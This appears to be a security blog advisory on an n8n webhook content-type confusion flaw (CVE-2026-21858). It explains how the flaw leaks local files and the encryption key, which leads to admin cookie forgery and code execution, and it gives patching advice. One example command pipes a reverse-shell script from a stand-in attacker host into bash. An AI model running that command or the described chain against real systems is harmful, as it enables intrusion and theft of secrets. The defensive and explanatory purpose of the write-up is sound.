Ni8mare (CVE-2026-21858): How to Automate Your Own Compromise via n8n

n8n is the darling of the self-hosted automation world. It is the 'glue' of the internet, connecting your CRM to your Slack, your AWS to your billing system, and your database to your email. Developers love it because it’s powerful. Security researchers love it because that power is often ungoverned.

Imagine a tool designed specifically to move sensitive data between authenticated services, holding all the API keys and secrets necessary to do so. Now imagine that tool has a gaping hole in its front door. That is CVE-2026-21858, lovingly dubbed 'Ni8mare'.

This isn't a complex heap overflow requiring precise memory layout manipulation. This is a logical catastrophe in how n8n handles incoming data. It turns the platform's core strength—processing data from webhooks—into its fatal weakness. If you are running n8n exposed to the internet (which is literally its purpose), and you haven't patched, you effectively gave the internet root access to your internal network.

The vulnerability resides in CWE-20: Improper Input Validation, but specifically manifests as a Content-Type Confusion attack within n8n's webhook and form handling logic.

When n8n receives a trigger via a Webhook node or a Form node, it needs to parse the incoming data. It supports various formats: JSON, raw text, and crucially, multipart/form-data for file uploads. The flaw occurs because the parser trusts the attacker-controlled input a little too much regarding where the data is coming from.

By manipulating the Content-Type header and the request body, an attacker can trick the server. Instead of treating the incoming payload as a file upload (where the server receives bytes and writes them to disk), the parser is coerced into treating a string input as a file path on the local server that it should read.

It’s the digital equivalent of a magician's force. The developer intended to say, 'Here is a file, please save it.' The attacker says, 'Here is a file path (/etc/passwd), please process it.' The server, in its infinite helpfulness, obliges, reads the local file, and includes its content in the workflow execution data, effectively serving sensitive system files to the attacker on a silver platter.

While the exact diff is massive, the logic failure can be distilled down to how the binary data property handling works in the webhook parser.

In the vulnerable versions, the code responsible for handling multipart/form-data didn't strictly validate that the 'file' being processed was actually a stream of bytes from the HTTP request body.

The Vulnerable Logic (Conceptual):

// Conceptual simplification of the flaw
if (request.contentType.includes('multipart')) {
  const parts = parseMultipart(request);
  parts.forEach(part => {
    // DANGER: If 'path' is provided in the part metadata,
    // the system might try to read from it instead of the buffer.
    if (part.path) {
       data = fs.readFileSync(part.path); // <--- HERE BE DRAGONS
    } else {
       data = part.buffer;
    }
  });
}

The Fix: The patch in version 1.121.0 introduces strict validation. It explicitly ignores path parameters supplied within the multipart headers when processing webhooks, ensuring that data is only read from the memory buffer of the upload itself, never from the file system based on an input string.

This highlights a classic vulnerability pattern in Node.js applications: passing user-controlled objects into functions that support multiple input types (strings vs. buffers vs. streams) without sanitization.

The exploit chain for Ni8mare is elegant and devastating. It requires zero authentication and zero user interaction. Here is how a researcher—or a ransomware operator—goes from a cold start to full system control.

Step 1: The Recon & Leak The attacker finds an exposed n8n instance. They send a crafted POST request to a webhook endpoint. This request uses the Content-Type confusion to ask n8n to 'upload' a file, but points the source to ~/.n8n/config or .env.

Step 2: Stealing the Skeleton Key The server responds, echoing the data it 'processed'. The attacker parses this response and finds the N8N_ENCRYPTION_KEY. This is the master key used to encrypt credentials in the database.

Step 3: Admin Forgery With the encryption key, the attacker doesn't need to crack a password. They can simply forge a valid session cookie that mimics the admin user. Alternatively, if they have database access via other means, they can decrypt the stored credentials. They inject this cookie into their browser.

Step 4: RCE via Feature Abuse Now logged in as Admin, the attacker doesn't need a memory corruption exploit to run code. n8n is a code execution platform. The attacker creates a new workflow, drags in an 'Execute Command' node, and enters:

curl http://attacker.com/revshell.sh | bash

They hit 'Execute'. The server downloads the reverse shell and runs it. Game over.

CVSS 10.0 is reserved for the 'internet-melting' bugs. Ni8mare earns this badge because n8n is often the central hub of a company's infrastructure.

1. Lateral Movement: Once inside n8n, the attacker doesn't just have the server. They have every API key stored in n8n. AWS keys, Stripe secrets, Slack tokens, database credentials—they are all there, usually decrypted for use in workflows.

2. Data Exfiltration: Attackers can modify existing workflows to silently BCC sensitive data to an external server. Every lead, every invoice, every customer support ticket that passes through n8n is compromised.

3. Ransomware: With RCE on the host, deploying ransomware is trivial. Given that n8n often runs with Docker socket access or high privileges to perform its automation duties, the blast radius is massive.

This isn't just about losing a server; it's about losing the keys to the entire kingdom.

There is no fancy workaround here. You must upgrade.

Immediate Action: Pull the latest docker image immediately:

docker pull n8nio/n8n:latest
# Ensure version is >= 1.121.0

Defense in Depth: If you cannot patch immediately (why?), you must take the instance offline. Simply putting it behind a login (like Basic Auth) might mitigate the initial vector if the webhook endpoint is protected, but public-facing webhooks are designed to be... public.

Network Segmentation: Ensure your n8n instance cannot talk to anything it doesn't need to. Why does your automation server have outbound access to the entire internet? Restrict egress traffic to known API endpoints. And for the love of security, do not run n8n as root.